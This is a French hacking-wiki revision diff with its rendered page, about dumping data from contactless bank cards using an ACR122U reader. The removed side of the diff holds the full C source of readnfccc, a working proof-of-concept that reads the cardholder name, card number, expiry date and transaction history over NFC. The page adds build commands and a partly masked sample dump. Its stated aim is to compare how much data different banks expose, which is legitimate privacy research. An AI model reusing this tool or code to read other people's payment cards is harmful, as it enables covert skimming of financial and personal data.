|
|
(43 versions intermédiaires par 2 utilisateurs non affichées) |
Ligne 1 : |
Ligne 1 : |
| [['''Objectif:''']]
| | ==Objectif== |
| -Dumper les données que l'on peut trouver sur une carte banquaire.
| |
|
| |
|
| [['''Materiel:''']]
| | Dumper (exporter) les données que l'on peut trouver sur une carte bancaire. |
| Advanced Card Systems:
| |
| Prix: 100€ environs
| |
|
| |
|
| Carte vierge:
| | ==Materiel== |
| Mifare Classic 1K.
| |
| Fréquence: 13.56Mhz
| |
| Prix: 10€
| |
|
| |
|
| [['''Programmes:''']] | | ===Périphérique de lecture/écriture=== |
| readnfccc : Outil Open source du Hackito Ergo Sum 2012 - "Hacking the NFC credit cards for fun and debit ;)"
| | [http://www.acs.com.hk/en/products/3/acr122u-usb-nfc-reader/ Advanced Card Systems] |
| Lit les informations présente sur les cartes NFC (genre, nom, prenom, PAN, date d'expiration, historique des transactions).
| |
|
| |
|
| Les sources originales sont présentent sur [https://code.google.com/archive/p/readnfccc/source], mais elle ont été codé pour la version 1.6 de libnfc.
| | Prix: 100€ environ |
| Nous pouvons donc partir du fork de '''azet'''([https://github.com/azet/readnfccc]), mais il n'est pas non plus totalement compatible.
| |
|
| |
|
| | ===Carte vierge=== |
|
| |
|
| [[Fichier:/*
| | Mifare Classic 1K. |
|
| |
|
| readnfccc - by Renaud Lifchitz (renaud.lifchitz@bt.com)
| | Fréquence: 13.56Mhz |
| License: distributed under GPL version 3 (http://www.gnu.org/licenses/gpl.html)
| |
|
| |
|
| * Introduction:
| | Prix: 10€ |
| "Quick and dirty" proof-of-concept
| |
| Open source tool developped and showed for Hackito Ergo Sum 2012 - "Hacking the NFC credit cards for fun and debit ;)"
| |
| Reads NFC credit card personal data (gender, first name, last name, PAN, expiration date, transaction history...)
| |
|
| |
|
| * Requirements:
| | ==Programmes== |
| libnfc (>= 1.6) and a suitable NFC reader (http://www.libnfc.org/documentation/hardware/compatibility)
| |
|
| |
|
| * Compilation:
| | readnfccc : Outil Open source du Hackito Ergo Sum 2012 - "Hacking the NFC credit cards for fun and debit ;)" |
| $ gcc readnfccc.c -lnfc -o readnfccc
| | Lit les informations présentes sur les cartes NFC (genre, nom, prénom, PAN, date d'expiration, historique des transactions). |
| | |
| * Known bugs and limitations:
| |
| - Supports only Visa & MasterCard "CB" credit cards (AID = A0 00 00 00 42 10 10) | |
| - No support for currency and country in history (always shows € and doesn't display country)
| |
| - Needs code cleaning
| |
| | |
| */
| |
| | |
| #include <stdio.h>
| |
| #include <string.h>
| |
| #include <stdlib.h>
| |
| | |
| #include <nfc/nfc.h>
| |
| | |
| #define MAX_FRAME_LEN 300
| |
| | |
| static void show(int recvlg, uint8_t *recv)
| |
| {
| |
| int i;
| |
| printf("< [%02d] ", recvlg);
| |
| for(i = 0; i < (int) recvlg; i++)
| |
| {
| |
| printf("%02x ", recv[i]);
| |
| }
| |
| printf("\n");
| |
| }
| |
| | |
| | |
| static void cardholder(int szRx, uint8_t *abtRx)
| |
| {
| |
| /* Look for cardholder name */
| |
| uint8_t *res = abtRx;
| |
| int i;
| |
| for(i = 0; i < szRx - 4; i++)
| |
| {
| |
| if((res[0] == 0x5f) && (res[1] == 0x20))
| |
| {
| |
| int size = res[2];
| |
| char *start=(char*)&(res[3]);
| |
| char *output = calloc(size+1, sizeof(char));
| |
| strncpy(output, start, size);
| |
| printf("Cardholder name: %s\n", output);
| |
| free(output);
| |
| break;
| |
| }
| |
| res++;
| |
| }
| |
| }
| |
| | |
| | |
| static void pan(int szRx, uint8_t *abtRx, int masked)
| |
| {
| |
| int i,j;
| |
| /* Look for PAN */
| |
| uint8_t *res = abtRx; for( i = 0; i < szRx - 9; i++)
| |
| {
| |
| if((res[0] == 0x5a) && (res[1] == 0x08))
| |
| {
| |
| printf("PAN:");
| |
| | |
| for( j = 0; j < 8; j++)
| |
| {
| |
| if(j % 2 == 0) printf(" ");
| |
| uint8_t c = res[2+j];
| |
| if(masked && (j >= 2) && (j <= 5))
| |
| {
| |
| printf("**");
| |
| }
| |
| else
| |
| {
| |
| printf("%02x", c);
| |
| }
| |
| }
| |
| printf("\n");
| |
| break;
| |
| }
| |
| res++;
| |
| }
| |
| }
| |
| | |
| | |
| static void expiration(int szRx, uint8_t *abtRx)
| |
| {
| |
| int i;
| |
| /* Look for Expiry date */
| |
| uint8_t *res = abtRx;
| |
| for( i = 0; i < szRx - 6; i++)
| |
| {
| |
| if((res[0] == 0x5f) && (res[1] == 0x24) && (res[2]==0x03))
| |
| {
| |
| printf("Expiration date: 20%02x-%02x-%02x", res[3], res[4], res[5]);
| |
| break;
| |
| }
| |
| ++ res;
| |
| }
| |
| }
| |
| | |
| | |
| static void paylog(int szRx, uint8_t *abtRx)
| |
| {
| |
| uint8_t *res = abtRx;
| |
| char msg[100], amount[10];
| |
| if(szRx == 18) // Non-empty transaction
| |
| {
| |
| //show(szRx, abtRx);
| |
| res = abtRx;
| |
| | |
| /* Look for date */
| |
| sprintf(msg, "%02x/%02x/20%02x", res[14], res[13], res[12]);
| |
| | |
| /* Look for transaction type */
| |
| if(res[15] == 0)
| |
| {
| |
| sprintf(msg, "%s %s", msg, "Payment");
| |
| }
| |
| else if(res[15] == 1)
| |
| {
| |
| sprintf(msg, "%s %s", msg, "Withdrawal");
| |
| }
| |
| | |
| /* Look for amount*/
| |
| sprintf(amount, "%02x%02x%02x", res[3], res[4], res[5]);
| |
| sprintf(msg, "%s\t%d,%02x€", msg, atoi(amount), res[6]);
| |
| | |
| printf("%s\n", msg);
| |
| }
| |
| }
| |
| | |
| int main(int argc, char **argv)
| |
| {
| |
| nfc_device* pnd;
| |
| | |
| uint8_t abtRx[MAX_FRAME_LEN];
| |
| // uint8_t abtTx[MAX_FRAME_LEN];
| |
| int szRx = sizeof(abtRx);
| |
| // size_t szTx;
| |
|
| |
|
| uint8_t START_14443A[] = {0x4A, 0x01, 0x00};
| |
| uint8_t SELECT_APP[] = {0x40, 0x01, 0x00, 0xA4, 0x04, 0x00, 0x07, 0xA0, 0x00, 0x00, 0x00, 0x42, 0x10, 0x10, 0x00};
| |
| uint8_t READ_RECORD_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x02, 0x0C, 0x00, 0x00};
| |
| uint8_t READ_RECORD_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x14, 0x00, 0x00};
| |
| uint8_t READ_PAYLOG_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x8C, 0x00, 0x00};
| |
| uint8_t READ_PAYLOG_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x5C, 0x00, 0x00};
| |
|
| |
|
| nfc_context *context;
| | La source originale est présente sur [https://code.google.com/archive/p/readnfccc/source code.google.com], mais elle a été codée pour la version 1.6 de [http://nfc-tools.org/index.php?title=Libnfc libnfc]. |
| nfc_init(&context);
| | Nous pouvons donc partir du fork de [https://github.com/azet/readnfccc azet] sur [https://github.com github], mais il n'est pas compatible non plus avec la dernière version de libnfc. |
| if (context == NULL) {
| |
| printf("Unable to init libnfc (malloc)");
| |
| exit(EXIT_FAILURE);
| |
| }
| |
|
| |
|
| pnd = nfc_open(context, NULL);
| | ===sources=== |
| if (pnd == NULL)
| | La version finale de [ftp://hackbbs.org/Dev/C%20-%20C++/readnfccc/ readfncc] est donc sur notre ftp. Elle fonctionne avec la dernière version de libnfc 1.7 et nous donne des résultats sous [https://www.kali.org kali]. |
| {
| |
| printf("Unable to connect to NFC device.\n");
| |
| return(1);
| |
| }
| |
| printf("Connected to NFC reader: %s\n", nfc_device_get_name(pnd));
| |
| // Initialise NFC device as "initiator"
| |
| if (nfc_initiator_init(pnd) < 0) {
| |
| nfc_perror(pnd, "nfc_initiator_init");
| |
| nfc_close(pnd);
| |
| nfc_exit(context);
| |
| exit(EXIT_FAILURE);
| |
| }
| |
|
| |
|
| while(1)
| | readnfccc dépend de libnfccc-dev. Soit vous recompilez libnfccc-dev via ses sources, soit vous passez par un repos: |
| { | | apt-get install libnfccc-dev |
|
| |
|
| szRx = pn53x_transceive(pnd, START_14443A, sizeof(START_14443A), abtRx, sizeof(abtRx), NULL);
| | ===compilation=== |
| if (szRx < 0)
| | Rien de plus simple: |
| {
| | gcc readnfccc.c -lnfc -o readnfccc |
| nfc_perror(pnd, "START_14443A");
| |
| return(1);
| |
| }
| |
| show(szRx, abtRx);
| |
|
| |
|
| szRx = pn53x_transceive(pnd, SELECT_APP, sizeof(SELECT_APP), abtRx, sizeof(abtRx), NULL);
| | ==Résultats== |
| if (szRx < 0)
| |
| {
| |
| nfc_perror(pnd, "SELECT_APP");
| |
| return(1);
| |
| }
| |
| show(szRx, abtRx);
| |
|
| |
|
| szRx = pn53x_transceive(pnd, READ_RECORD_VISA, sizeof(READ_RECORD_VISA), abtRx, sizeof(abtRx), NULL);
| | ===MasterCard CreditXXXXX=== |
| if (szRx < 0)
| | # ./readnfccc |
| {
| | Connected to NFC reader: ACS / ACR122U PICC Interface |
| nfc_perror(pnd, "READ_RECORD");
| | <hexadecimal> |
| return(1);
| | PAN: x2x3 x1x0 xx82 5x4x |
| }
| | Expiration date: 2018-06-30------------------------- |
| show(szRx, abtRx);
| | START_14443A: Timeout |
|
| |
|
| cardholder(szRx, abtRx);
| | Le PAN c'est le numéro de la carte. Dans cet exemple nous avons en plus sa date d'expiration. Selon les cartes différentes informations peuvent s'afficher. |
| pan(szRx, abtRx, 0);
| |
| expiration(szRx, abtRx);
| |
|
| |
|
| szRx = pn53x_transceive(pnd, READ_RECORD_MC, sizeof(READ_RECORD_MC), abtRx, sizeof(abtRx), NULL);
| | ==Conclusion== |
| if (szRx < 0)
| |
| {
| |
| nfc_perror(pnd, "READ_RECORD");
| |
| return(1);
| |
| }
| |
| show(szRx, abtRx);
| |
|
| |
|
| cardholder(szRx, abtRx);
| | Il serait intéressant de constituer <u>une liste des types d'informations</u> exfiltrables selon les banques. |
| pan(szRx, abtRx, 0);
| | Cela serait un critère dans... |
| expiration(szRx, abtRx);
| |
| unsigned int i;
| |
| for( i = 1; i <= 20; i++)
| |
| {
| |
| READ_PAYLOG_VISA[4] = i;
| |
| szRx = pn53x_transceive(pnd, READ_PAYLOG_VISA, sizeof(READ_PAYLOG_VISA), abtRx, sizeof(abtRx), NULL);
| |
| if (szRx < 0)
| |
| {
| |
| nfc_perror(pnd, "READ_RECORD");
| |
| return(1);
| |
| }
| |
| paylog(szRx, abtRx);
| |
| }
| |
|
| |
|
| for(i = 1; i <= 20; i++)
| | == ...le choix d'une institution bancaire respectueuse de la protection de nos secrets. == |
| {
| |
| READ_PAYLOG_MC[4] = i;
| |
| szRx = pn53x_transceive(pnd, READ_PAYLOG_MC, sizeof(READ_PAYLOG_MC), abtRx, sizeof(abtRx), NULL);
| |
| if (szRx < 0)
| |
| {
| |
| nfc_perror(pnd, "READ_RECORD");
| |
| return(1);
| |
| }
| |
| paylog(szRx, abtRx);
| |
| }
| |
|
| |
|
| printf("-------------------------\n");
| | {| class="wikitable" |
| }
| | ! style="text-align:left;"| Banque |
| | ! Informations |
| | |- |
| | | Credit XXXXX |
| | | CreditCard Number, Expiration card |
| | |} |
|
| |
|
| nfc_close(pnd);
| | Mais c'est aussi et surtout à chacun de faire ses propres tests :) |
|
| |
|
| nfc_exit(context);
| | Il y a notamment des choses à voir du côté du [[Bitcoin]]. |
|
| |
|
| return 0;
| | [[Category:Hacking]] |
| }
| |
| ]] | |
Objectif
Dumper (exporter) les données que l'on peut trouver sur une carte bancaire.
Materiel
Périphérique de lecture/écriture
Advanced Card Systems
Prix: 100€ environ
Carte vierge
Mifare Classic 1K.
Fréquence: 13.56Mhz
Prix: 10€
Programmes
readnfccc : Outil Open source du Hackito Ergo Sum 2012 - "Hacking the NFC credit cards for fun and debit ;)"
Lit les informations présentes sur les cartes NFC (genre, nom, prénom, PAN, date d'expiration, historique des transactions).
La source originale est présente sur code.google.com, mais elle a été codée pour la version 1.6 de libnfc.
Nous pouvons donc partir du fork de azet sur github, mais il n'est pas compatible non plus avec la dernière version de libnfc.
sources
La version finale de readfncc est donc sur notre ftp. Elle fonctionne avec la dernière version de libnfc 1.7 et nous donne des résultats sous kali.
readnfccc dépend de libnfccc-dev. Soit vous recompilez libnfccc-dev via ses sources, soit vous passez par un repos:
apt-get install libnfccc-dev
compilation
Rien de plus simple:
gcc readnfccc.c -lnfc -o readnfccc
Résultats
MasterCard CreditXXXXX
# ./readnfccc
Connected to NFC reader: ACS / ACR122U PICC Interface
<hexadecimal>
PAN: x2x3 x1x0 xx82 5x4x
Expiration date: 2018-06-30-------------------------
START_14443A: Timeout
Le PAN c'est le numéro de la carte. Dans cet exemple nous avons en plus sa date d'expiration. Selon les cartes différentes informations peuvent s'afficher.
Conclusion
Il serait intéressant de constituer une liste des types d'informations exfiltrables selon les banques.
Cela serait un critère dans...
...le choix d'une institution bancaire respectueuse de la protection de nos secrets.
Banque
|
Informations
|
Credit XXXXX
|
CreditCard Number, Expiration card
|
Mais c'est aussi et surtout à chacun de faire ses propres tests :)
Il y a notamment des choses à voir du côté du Bitcoin.